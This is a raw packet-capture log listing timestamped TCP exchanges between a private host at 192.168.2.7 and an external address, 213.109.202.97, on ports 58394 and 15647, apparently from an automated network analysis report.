Sep 26, 2024 01:49:25.967962980 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.972846985 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.972913027 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.977803946 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.977888107 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.982682943 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.982759953 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.987555027 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.987759113 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.992679119 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.992732048 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.997574091 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.997628927 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.004056931 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.004144907 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.009536982 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.009593964 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.015113115 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.015192032 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.019993067 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.020179987 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.025007963 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.025253057 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.030241966 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.030302048 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.035218000 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.035408020 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.040330887 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.040429115 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.045234919 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.045281887 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.050085068 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.050218105 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.055039883 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.055176020 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.059978962 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.060039997 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.064867973 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.064915895 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.069663048 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.069732904 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.074512005 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.074572086 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.079441071 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.079719067 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.084614992 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.084744930 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.089495897 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.089642048 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.094494104 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.094588041 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.099355936 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.099510908 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.104307890 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.104377031 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.109183073 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.109381914 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.114180088 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.115849018 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.120662928 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.120901108 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.125812054 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.125864029 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.130841017 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.130878925 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.135818958 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.135951996 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.140772104 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.140825987 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.145647049 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.145699024 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.150546074 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.150652885 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.155441046 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.155493975 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.160697937 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.161695957 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.166623116 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.166672945 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.171485901 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.171591997 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.176378965 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.176500082 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.181446075 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.181637049 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.186450958 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.186590910 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.191418886 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.191544056 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.196669102 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.196739912 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.201534986 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.201808929 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.206571102 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.206810951 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.211627007 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.211680889 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.216531992 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.221743107 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.226699114 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.226753950 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.231611013 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.231786966 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.236569881 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.236612082 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.241529942 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.241628885 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.246633053 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.248358011 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.253187895 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.253248930 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.258068085 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.258219004 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.263000965 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.263554096 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.268403053 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.274344921 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.279268980 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.279341936 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.284208059 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.285928011 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.290905952 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.290971994 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.295833111 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.295881987 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.300724030 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.300765991 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.305598974 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.305649042 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.310498953 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.310584068 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.315501928 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.315634012 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.320406914 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.320458889 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.325649023 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.325700045 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.330601931 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.331552982 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.336390972 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.336446047 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.341453075 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.341835022 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.348582983 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.348944902 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.355463028 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.355526924 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.360524893 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.361185074 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.366070032 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.366658926 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.371443987 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.372011900 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.376787901 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.378887892 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.383680105 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.383768082 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.388605118 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.390657902 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.397639990 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.397716045 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.404645920 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.407166004 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.413608074 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.415757895 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.420574903 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.483613014 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.488418102 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.497399092 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.502228022 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.504365921 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.509227991 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.509272099 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.514292002 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.514492989 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.519294024 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:26.930069923 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.966044903 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:26.991147995 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.024147987 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.050715923 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.073096037 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.073111057 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.073127985 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.073141098 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.073204041 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.073215008 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.073224068 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.073252916 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.073285103 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.073322058 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.078159094 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.078267097 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.083437920 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.083494902 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.088478088 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.088686943 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.093616009 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.093668938 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.098464012 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.098793983 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.103601933 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.103787899 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.108824968 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.109080076 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.114039898 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.117166042 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.122129917 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.125538111 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.130479097 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.154017925 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.159565926 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.178086042 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.182878971 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.183654070 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.188435078 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.188491106 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.193327904 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.193521023 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.198684931 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.199853897 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.204757929 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.207767963 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.212644100 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.215564966 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.220524073 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.223819971 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.228724003 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.231573105 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.236363888 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.240024090 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.245407104 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.247576952 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.253926039 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.256247997 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.262212992 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.263868093 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.269494057 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.272445917 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.278546095 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.279959917 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.286154985 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.288501978 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.294997931 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.295540094 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.300278902 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.304039001 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.311139107 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.311538935 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.317686081 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.320080042 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.328110933 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.331958055 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.339735031 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.340415001 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.345213890 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.347930908 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.352760077 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.356554031 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.361345053 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.363976955 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.368892908 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.371965885 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.376786947 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.380139112 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.385071039 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.387634993 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.392481089 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.395596027 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.400454998 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.404217958 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.409116030 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.409167051 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.413960934 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.417522907 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.422461033 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.424894094 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.429732084 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.433554888 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.438435078 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.441534996 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.446336985 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.447515965 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.452349901 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.455715895 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.460547924 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.463665009 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.468463898 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.471643925 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.476406097 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.493643999 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.498414040 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.500314951 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.505055904 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.507832050 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.512716055 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.515573978 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.520333052 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.591752052 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.596942902 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.597002029 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.601824045 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.603543043 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.608319044 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.612386942 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.617176056 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.619882107 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.624825954 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.628421068 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.633184910 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.635896921 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.640665054 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.640810013 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.645546913 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.645622969 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.650435925 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.651578903 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.656363010 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.658293009 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.663448095 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.665533066 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.670409918 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.670455933 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.675296068 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:27.677292109 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:27.682147026 CEST	15647	58394	213.109.202.97	192.168.2.7
